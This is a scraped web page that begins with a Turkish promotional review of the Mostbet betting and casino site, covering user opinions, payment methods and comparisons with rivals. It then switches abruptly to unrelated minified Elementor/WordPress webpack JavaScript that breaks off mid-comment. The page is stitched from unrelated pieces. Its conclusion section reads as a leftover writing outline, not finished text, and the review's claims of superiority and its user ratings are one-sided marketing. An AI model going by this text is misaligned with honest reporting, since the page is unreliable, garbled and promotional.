Başta, ülkeye özgü Papara ve Jeton yöntemlerinin platformda mevcut olması, yerel kullanıcılar için büyük bir kolaylık sağlamaktadır. Para transferi işlemlerinin genellikle 30 dakika ile birkaç saat içinde sonuçlanması da siteye olan güveni artırmaktadır.

Bunun yanı sıra, kimi oyuncular, promosyon çevrim şartlarının karmaşıklığından ve canlı destek ekibinin yoğun saatlerde yanıt süresinin uzamasından şikayet etmektedir. Ayrıca, ilk ödeme talebinde bulunan oyuncuların kimlik onay prosedürü bazen işlemi yavaşlatabilmektedir. Bununla beraber bu şikayetler, çoğunlukla istisna niteliğinde kalmakta ve platform yönetimi tarafından takip edilip düzeltilmektedir.

Kimi oyuncular, turnuva organizasyonlarının ve özel promosyon etkinliklerinin daha sık düzenlenmesini arzulamaktadır. VIP oyuncular, VIP sisteminin daha görünür şekilde paylaşılmasını öneride bulunmaktadır. Buna karşın, Mostbet’in ortalama kullanıcı değerlendirmesi pozitif düzeydedir ve bağımsız kullanıcı yorum sitelerinde 4 yıldız üzerinden 3.5-4 arası değerlendirilmiştir.

Genel bakışla, kullanıcı görüşleri, Mostbet’in kapsamlı içerik ve güvenli altyapıya sahip olduğunu kanıtlamaktadır. Ara sıra görülen küçük eksiklikler dışında, kullanıcılar siteyi genel anlamda beğenmektedir ve Mostbet’e sadık kalmaktadır.

Türk bahis piyasasındaki Rakipleriyle Karşılaştırma

Türkiye dijital bahis ve casino pazarı, sürekli büyüme trendinde olan ve ciddi rekabetin yaşandığı bir sektöre evrilmiştir. Bu pazarda yer alan birçok yabancı ve Türk sitesi, farklı promosyon ve hizmetlerle kullanıcı çekme rekabetindedir. Mostbet, bu yoğun rekabet içinde kendine sağlam bir yer edinmiş ve bazı konularda rakiplerine fark atmıştır.

İlk olarak Türkiye’de bilinirliği yüksek olan diğer platformlar arasında Betboo, Bahsine, Betsson, Youwin, Rivalo, Jetbahis gibi siteler karşımıza çıkar. Bu platformlar çoğunlukla benzer oyun seçenekleri içerse de, aralarındaki farklar; lisans durumu, para yatırma ve çekme seçenekleri, bonus ve kampanya yaklaşımları, yardım ve destek servisleri ve mobil uyumluluk gibi başlıklarda belirginleşir.

Mostbet dijital platformu, oyun geliştirici çeşitliliği açısından rakiplerine oranla daha fazla seçenek sunmaktadır. Başta, slot oyunları ve canlı masa seçeneklerinde Pragmatic Play, NetEnt, Evolution gibi önemli oyun stüdyolarıyla iş ortaklığı yapması, siteyi rakiplerinden öne çıkarır. Alternatif platformlardan bazıları bu denli kapsamlı sağlayıcı desteği sunmamakta veya erişimi bölgesel olarak sınırlamaktadır.

Ödeme seçenekleri yönünden incelendiğinde, Mostbet dijital platformunun yerli kullanıcılar tarafından sıklıkla tercih edilen Papara, Jeton, kripto seçeneklerini kullanıma açması ciddi bir avantajdır. Bazı alternatif siteler hâlâ sadece havale/EFT ve banka kartı kullanımıyla sınırlıyken, Mostbet platformunun sağladığı ek seçenekler kullanıcı deneyimini kolaylaştırmaktadır.

Bonus kampanyaları da karşılaştırma açısından önemli bir kriterdir. Mostbet’in sunduğu hoş geldin bonusu ve sadakat avantajları, çoğu alternatife göre daha fazladır. Ayrıca, kampanya şartlarının anlaşılır olması, oyunculara güven vermektedir. Bazı rakip sitelerde kampanyalar daha az avantajlı veya bonus kuralları daha karmaşık olabilir.

Yardım hizmetleri bakımından Mostbet’in 7/24 Türkçe destek sunması, Türk kullanıcılar açısından ciddi bir avantajdır. Uluslararası bazı sitelerde İngilizce dışında destek verilmemesi ya da kısıtlı zaman dilimlerinde destek sağlanması, kullanıcıları zor durumda bırakabilir.

Mobil cihazlar üzerinden kullanımda Mostbet platformu, pratik arayüzü ve hızlı uygulama desteğiyle rakiplerinden daha ileri durumdadır. Rakiplerinden bazıları hâlâ yalnızca mobil uyumlu web sürümü sunarken, Mostbet platformu hem Android hem de iOS uygulamalarıyla hizmet vermektedir. Bütün olarak düşünüldüğünde, Mostbet Türkiye pazarında güçlü bir yere sahiptir. Özellikle oyun portföyü, esnek ödeme çözümleri ve kullanıcı dostu tasarımıyla dikkat çeken Mostbet, her düzeyde oyuncunun beklentisini karşılayabilecek niteliktedir.

Genel Sonuç

Genel olarak, ele alınan konu başlıklarının özetlenir. Birincil olarak, Mostbet sitesinin artı ve eksi özellikleri, kısa sürede vurgulanır. lisanslama durumu, oyun çeşitliliği, hoş geldin ve sadakat bonusları, para transfer yöntemleri ve canlı destek servisi gibi temel alanlardaki başarısını sunulur.

Bunun ardından, online sistemin hangi üye profilini hedeflediğinin sunulur: zengin slot ve canlı seçenekleri talep eden deneyimli kullanıcılar için mi, yoksa tecrübesiz bahisçiler için daha ideal olduğu anlatılır. Toparlamak gerekirse, okuyucuya tarafsız tavsiyelerde bulunulur: Hesap açılışından önce lisans ve güvenlik koşullarının dikkatlice incelenmesinin hayati olduğu, oyun sürecinde sorumlu bahis politikalarına uyulmasının gerekli olduğu, Buna ek olarak diğer platformlarla kıyaslama yapılması ve kampanyaların takip edilmesinin tavsiye edildiği. Bu yaklaşımla okuyucu, hem platform hakkında genel bir kanaate sahip olur hem de kendi oyun alışkanlıklarına uygun olup olmadığına karar verebilir.

/*! elementor - v3.27.0 - 16-02-2025 */ /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ "../node_modules/@wordpress/element/build-module/create-interpolate-element.js": /*!*************************************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/create-interpolate-element.js ***! \*************************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_0__); /** * Internal dependencies */ /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ let indoc, offset, output, stack; /** * Matches tags in the localized string * * This is used for extracting the tag pattern groups for parsing the localized * string and along with the map converting it to a react element. * * There are four references extracted using this tokenizer: * * match: Full match of the tag (i.e. , ,
) * isClosing: The closing slash, if it exists. * name: The name portion of the tag (strong, br) (if ) * isSelfClosed: The slash on a self closing tag, if it exists. * * @type {RegExp} */ const tokenizer = /<(\/)?(\w+)\s*(\/)?>/g; /** * The stack frame tracking parse progress. * * @typedef Frame * * @property {Element} element A parent element which may still have * @property {number} tokenStart Offset at which parent element first * appears. * @property {number} tokenLength Length of string marking start of parent * element. * @property {number} [prevOffset] Running offset at which parsing should * continue. * @property {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * @property {Element[]} children Children. */ /** * Tracks recursive-descent parse state. * * This is a Stack frame holding parent elements until all children have been * parsed. * * @private * @param {Element} element A parent element which may still have * nested children not yet parsed. * @param {number} tokenStart Offset at which parent element first * appears. * @param {number} tokenLength Length of string marking start of parent * element. * @param {number} [prevOffset] Running offset at which parsing should * continue. * @param {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * * @return {Frame} The stack frame tracking parse progress. */ function createFrame(element, tokenStart, tokenLength, prevOffset, leadingTextStart) { return { element, tokenStart, tokenLength, prevOffset, leadingTextStart, children: [] }; } /** * This function creates an interpolated element from a passed in string with * specific tags matching how the string should be converted to an element via * the conversion map value. * * @example * For example, for the given string: * * "This is a string with a link and a self-closing * tag" * * You would have something like this as the conversionMap value: * * ```js * { * span: , * a: , * CustomComponentB: , * } * ``` * * @param {string} interpolatedString The interpolation string to be parsed. * @param {Record} conversionMap The map used to convert the string to * a react element. * @throws {TypeError} * @return {Element} A wp element. */ const createInterpolateElement = (interpolatedString, conversionMap) => { indoc = interpolatedString; offset = 0; output = []; stack = []; tokenizer.lastIndex = 0; if (!isValidConversionMap(conversionMap)) { throw new TypeError('The conversionMap provided is not valid. It must be an object with values that are React Elements'); } do { // twiddle our thumbs } while (proceed(conversionMap)); return (0,_react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, ...output); }; /** * Validate conversion map. * * A map is considered valid if it's an object and every value in the object * is a React Element * * @private * * @param {Object} conversionMap The map being validated. * * @return {boolean} True means the map is valid. */ const isValidConversionMap = conversionMap => { const isObject = typeof conversionMap === 'object'; const values = isObject && Object.values(conversionMap); return isObject && values.length && values.every(element => (0,_react__WEBPACK_IMPORTED_MODULE_0__.isValidElement)(element)); }; /** * This is the iterator over the matches in the string. * * @private * * @param {Object} conversionMap The conversion map for the string. * * @return {boolean} true for continuing to iterate, false for finished. */ function proceed(conversionMap) { const next = nextToken(); const [tokenType, name, startOffset, tokenLength] = next; const stackDepth = stack.length; const leadingTextStart = startOffset > offset ? offset : null; if (!conversionMap[name]) { addText(); return false; } switch (tokenType) { case 'no-more-tokens': if (stackDepth !== 0) { const { leadingTextStart: stackLeadingText, tokenStart } = stack.pop(); output.push(indoc.substr(stackLeadingText, tokenStart)); } addText(); return false; case 'self-closed': if (0 === stackDepth) { if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, startOffset - leadingTextStart)); } output.push(conversionMap[name]); offset = startOffset + tokenLength; return true; } // Otherwise we found an inner element. addChild(createFrame(conversionMap[name], startOffset, tokenLength)); offset = startOffset + tokenLength; return true; case 'opener': stack.push(createFrame(conversionMap[name], startOffset, tokenLength, startOffset + tokenLength, leadingTextStart)); offset = startOffset + tokenLength; return true; case 'closer': // If we're not nesting then this is easy - close the block. if (1 === stackDepth) { closeOuterElement(startOffset); offset = startOffset + tokenLength; return true; } // Otherwise we're nested and we have to close out the current // block and add it as a innerBlock to the parent. const stackTop = stack.pop(); const text = indoc.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset); stackTop.children.push(text); stackTop.prevOffset = startOffset + tokenLength; const frame = createFrame(stackTop.element, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength); frame.children = stackTop.children; addChild(frame); offset = startOffset + tokenLength; return true; default: addText(); return false; } } /** * Grabs the next token match in the string and returns it's details. * * @private * * @return {Array} An array of details for the token matched. */ function nextToken() { const matches = tokenizer.exec(indoc); // We have no more tokens. if (null === matches) { return ['no-more-tokens']; } const startedAt = matches.index; const [match, isClosing, name, isSelfClosed] = matches; const length = match.length; if (isSelfClosed) { return ['self-closed', name, startedAt, length]; } if (isClosing) { return ['closer', name, startedAt, length]; } return ['opener', name, startedAt, length]; } /** * Pushes text extracted from the indoc string to the output stack given the * current rawLength value and offset (if rawLength is provided ) or the * indoc.length and offset. * * @private */ function addText() { const length = indoc.length - offset; if (0 === length) { return; } output.push(indoc.substr(offset, length)); } /** * Pushes a child element to the associated parent element's children for the * parent currently active in the stack. * * @private * * @param {Frame} frame The Frame containing the child element and it's * token information. */ function addChild(frame) { const { element, tokenStart, tokenLength, prevOffset, children } = frame; const parent = stack[stack.length - 1]; const text = indoc.substr(parent.prevOffset, tokenStart - parent.prevOffset); if (text) { parent.children.push(text); } parent.children.push((0,_react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(element, null, ...children)); parent.prevOffset = prevOffset ? prevOffset : tokenStart + tokenLength; } /** * This is called for closing tags. It creates the element currently active in * the stack. * * @private * * @param {number} endOffset Offset at which the closing tag for the element * begins in the string. If this is greater than the * prevOffset attached to the element, then this * helps capture any remaining nested text nodes in * the element. */ function closeOuterElement(endOffset) { const { element, leadingTextStart, prevOffset, tokenStart, children } = stack.pop(); const text = endOffset ? indoc.substr(prevOffset, endOffset - prevOffset) : indoc.substr(prevOffset); if (text) { children.push(text); } if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, tokenStart - leadingTextStart)); } output.push((0,_react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(element, null, ...children)); } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (createInterpolateElement); //# sourceMappingURL=create-interpolate-element.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/index.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/index.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ Children: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Children), /* harmony export */ Component: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Component), /* harmony export */ Fragment: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Fragment), /* harmony export */ Platform: () => (/* reexport safe */ _platform__WEBPACK_IMPORTED_MODULE_4__["default"]), /* harmony export */ PureComponent: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.PureComponent), /* harmony export */ RawHTML: () => (/* reexport safe */ _raw_html__WEBPACK_IMPORTED_MODULE_6__["default"]), /* harmony export */ StrictMode: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.StrictMode), /* harmony export */ Suspense: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Suspense), /* harmony export */ cloneElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.cloneElement), /* harmony export */ concatChildren: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.concatChildren), /* harmony export */ createContext: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createContext), /* harmony export */ createElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createElement), /* harmony export */ createInterpolateElement: () => (/* reexport safe */ _create_interpolate_element__WEBPACK_IMPORTED_MODULE_0__["default"]), /* harmony export */ createPortal: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.createPortal), /* harmony export */ createRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createRef), /* harmony export */ createRoot: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.createRoot), /* harmony export */ findDOMNode: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.findDOMNode), /* harmony export */ flushSync: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.flushSync), /* harmony export */ forwardRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.forwardRef), /* harmony export */ hydrate: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.hydrate), /* harmony export */ hydrateRoot: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.hydrateRoot), /* harmony export */ isEmptyElement: () => (/* reexport safe */ _utils__WEBPACK_IMPORTED_MODULE_3__.isEmptyElement), /* harmony export */ isValidElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.isValidElement), /* harmony export */ lazy: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.lazy), /* harmony export */ memo: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.memo), /* harmony export */ render: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.render), /* harmony export */ renderToString: () => (/* reexport safe */ _serialize__WEBPACK_IMPORTED_MODULE_5__["default"]), /* harmony export */ startTransition: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.startTransition), /* harmony export */ switchChildrenNodeName: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.switchChildrenNodeName), /* harmony export */ unmountComponentAtNode: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.unmountComponentAtNode), /* harmony export */ useCallback: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useCallback), /* harmony export */ useContext: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useContext), /* harmony export */ useDebugValue: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useDebugValue), /* harmony export */ useDeferredValue: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useDeferredValue), /* harmony export */ useEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useEffect), /* harmony export */ useId: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useId), /* harmony export */ useImperativeHandle: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useImperativeHandle), /* harmony export */ useInsertionEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useInsertionEffect), /* harmony export */ useLayoutEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useLayoutEffect), /* harmony export */ useMemo: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useMemo), /* harmony export */ useReducer: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useReducer), /* harmony export */ useRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useRef), /* harmony export */ useState: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useState), /* harmony export */ useSyncExternalStore: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useSyncExternalStore), /* harmony export */ useTransition: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useTransition) /* harmony export */ }); /* harmony import */ var _create_interpolate_element__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./create-interpolate-element */ "../node_modules/@wordpress/element/build-module/create-interpolate-element.js"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./react */ "../node_modules/@wordpress/element/build-module/react.js"); /* harmony import */ var _react_platform__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./react-platform */ "../node_modules/@wordpress/element/build-module/react-platform.js"); /* harmony import */ var _utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./utils */ "../node_modules/@wordpress/element/build-module/utils.js"); /* harmony import */ var _platform__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./platform */ "../node_modules/@wordpress/element/build-module/platform.js"); /* harmony import */ var _serialize__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./serialize */ "../node_modules/@wordpress/element/build-module/serialize.js"); /* harmony import */ var _raw_html__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./raw-html */ "../node_modules/@wordpress/element/build-module/raw-html.js"); //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/platform.js": /*!*******************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/platform.js ***! \*******************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /** * Parts of this source were derived and modified from react-native-web, * released under the MIT license. * * Copyright (c) 2016-present, Nicolas Gallagher. * Copyright (c) 2015-present, Facebook, Inc. * */ const Platform = { OS: 'web', select: spec => 'web' in spec ? spec.web : spec.default, isWeb: true }; /** * Component used to detect the current Platform being used. * Use Platform.OS === 'web' to detect if running on web enviroment. * * This is the same concept as the React Native implementation. * * @see https://reactnative.dev/docs/platform-specific-code#platform-module * * Here is an example of how to use the select method: * @example * ```js * import { Platform } from '@wordpress/element'; * * const placeholderLabel = Platform.select( { * native: __( 'Add media' ), * web: __( 'Drag images, upload new ones or select files from your library.' ), * } ); * ``` */ /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (Platform); //# sourceMappingURL=platform.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/raw-html.js": /*!*******************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/raw-html.js ***! \*******************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ RawHTML) /* harmony export */ }); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_0__); /** * Internal dependencies */ /** @typedef {{children: string} & import('react').ComponentPropsWithoutRef<'div'>} RawHTMLProps */ /** * Component used as equivalent of Fragment with unescaped HTML, in cases where * it is desirable to render dangerous HTML without needing a wrapper element. * To preserve additional props, a `div` wrapper _will_ be created if any props * aside from `children` are passed. * * @param {RawHTMLProps} props Children should be a string of HTML or an array * of strings. Other props will be passed through * to the div wrapper. * * @return {JSX.Element} Dangerously-rendering component. */ function RawHTML({ children, ...props }) { let rawHtml = ''; // Cast children as an array, and concatenate each element if it is a string. _react__WEBPACK_IMPORTED_MODULE_0__.Children.toArray(children).forEach(child => { if (typeof child === 'string' && child.trim() !== '') { rawHtml += child; } }); // The `div` wrapper will be stripped by the `renderElement` serializer in // `./serialize.js` unless there are non-children props present. return (0,_react__WEBPACK_IMPORTED_MODULE_0__.createElement)('div', { dangerouslySetInnerHTML: { __html: rawHtml }, ...props }); } //# sourceMappingURL=raw-html.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/react-platform.js": /*!*************************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/react-platform.js ***! \*************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ createPortal: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.createPortal), /* harmony export */ createRoot: () => (/* reexport safe */ react_dom_client__WEBPACK_IMPORTED_MODULE_1__.createRoot), /* harmony export */ findDOMNode: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.findDOMNode), /* harmony export */ flushSync: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.flushSync), /* harmony export */ hydrate: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.hydrate), /* harmony export */ hydrateRoot: () => (/* reexport safe */ react_dom_client__WEBPACK_IMPORTED_MODULE_1__.hydrateRoot), /* harmony export */ render: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.render), /* harmony export */ unmountComponentAtNode: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.unmountComponentAtNode) /* harmony export */ }); /* harmony import */ var react_dom__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react-dom */ "react-dom"); /* harmony import */ var react_dom__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react_dom__WEBPACK_IMPORTED_MODULE_0__); /* harmony import */ var react_dom_client__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! react-dom/client */ "../node_modules/react-dom/client.js"); /** * External dependencies */ /** * Creates a portal into which a component can be rendered. * * @see https://github.com/facebook/react/issues/10309#issuecomment-318433235 * * @param {import('react').ReactElement} child Any renderable child, such as an element, * string, or fragment. * @param {HTMLElement} container DOM node into which element should be rendered. */ /** * Finds the dom node of a React component. * * @param {import('react').ComponentType} component Component's instance. */ /** * Forces React to flush any updates inside the provided callback synchronously. * * @param {Function} callback Callback to run synchronously. */ /** * Renders a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `createRoot` instead. * @see https://react.dev/reference/react-dom/render */ /** * Hydrates a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `hydrateRoot` instead. * @see https://react.dev/reference/react-dom/hydrate */ /** * Creates a new React root for the target DOM node. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/createRoot */ /** * Creates a new React root for the target DOM node and hydrates it with a pre-generated markup. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/hydrateRoot */ /** * Removes any mounted element from the target DOM node. * * @deprecated since WordPress 6.2.0. Use `root.unmount()` instead. * @see https://react.dev/reference/react-dom/unmountComponentAtNode */ //# sourceMappingURL=react-platform.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/react.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/react.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ Children: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Children), /* harmony export */ Component: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Component), /* harmony export */ Fragment: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Fragment), /* harmony export */ PureComponent: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.PureComponent), /* harmony export */ StrictMode: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.StrictMode), /* harmony export */ Suspense: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Suspense), /* harmony export */ cloneElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.cloneElement), /* harmony export */ concatChildren: () => (/* binding */ concatChildren), /* harmony export */ createContext: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createContext), /* harmony export */ createElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createElement), /* harmony export */ createRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createRef), /* harmony export */ forwardRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.forwardRef), /* harmony export */ isValidElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.isValidElement), /* harmony export */ lazy: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.lazy), /* harmony export */ memo: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.memo), /* harmony export */ startTransition: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.startTransition), /* harmony export */ switchChildrenNodeName: () => (/* binding */ switchChildrenNodeName), /* harmony export */ useCallback: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useCallback), /* harmony export */ useContext: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useContext), /* harmony export */ useDebugValue: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useDebugValue), /* harmony export */ useDeferredValue: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useDeferredValue), /* harmony export */ useEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useEffect), /* harmony export */ useId: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useId), /* harmony export */ useImperativeHandle: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useImperativeHandle), /* harmony export */ useInsertionEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useInsertionEffect), /* harmony export */ useLayoutEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useLayoutEffect), /* harmony export */ useMemo: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useMemo), /* harmony export */ useReducer: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useReducer), /* harmony export */ useRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useRef), /* harmony export */ useState: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useState), /* harmony export */ useSyncExternalStore: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useSyncExternalStore), /* harmony export */ useTransition: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useTransition) /* harmony export */ }); /* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react"); /* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__); /** * External dependencies */ // eslint-disable-next-line @typescript-eslint/no-restricted-imports /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ /** * Object containing a React component. * * @typedef {import('react').ComponentType} ComponentType */ /** * Object containing a React synthetic event. * * @typedef {import('react').SyntheticEvent} SyntheticEvent */ /** * Object containing a React synthetic event. * * @template T * @typedef {import('react').RefObject} RefObject */ /** * Object that provides utilities for dealing with React children. */ /** * Creates a copy of an element with extended props. * * @param {Element} element Element * @param {?Object} props Props to apply to cloned element * * @return {Element} Cloned element. */ /** * A base class to create WordPress Components (Refs, state and lifecycle hooks) */ /** * Creates a context object containing two components: a provider and consumer. * * @param {Object} defaultValue A default data stored in the context. * * @return {Object} Context object. */ /** * Returns a new element of given type. Type can be either a string tag name or * another function which itself returns an element. * * @param {?(string|Function)} type Tag name or element creator * @param {Object} props Element properties, either attribute * set to apply to DOM node or values to * pass through to element creator * @param {...Element} children Descendant elements * * @return {Element} Element. */ /** * Returns an object tracking a reference to a rendered element via its * `current` property as either a DOMElement or Element, dependent upon the * type of element rendered with the ref attribute. * * @return {Object} Ref object. */ /** * Component enhancer used to enable passing a ref to its wrapped component. * Pass a function argument which receives `props` and `ref` as its arguments, * returning an element using the forwarded ref. The return value is a new * component which forwards its ref. * * @param {Function} forwarder Function 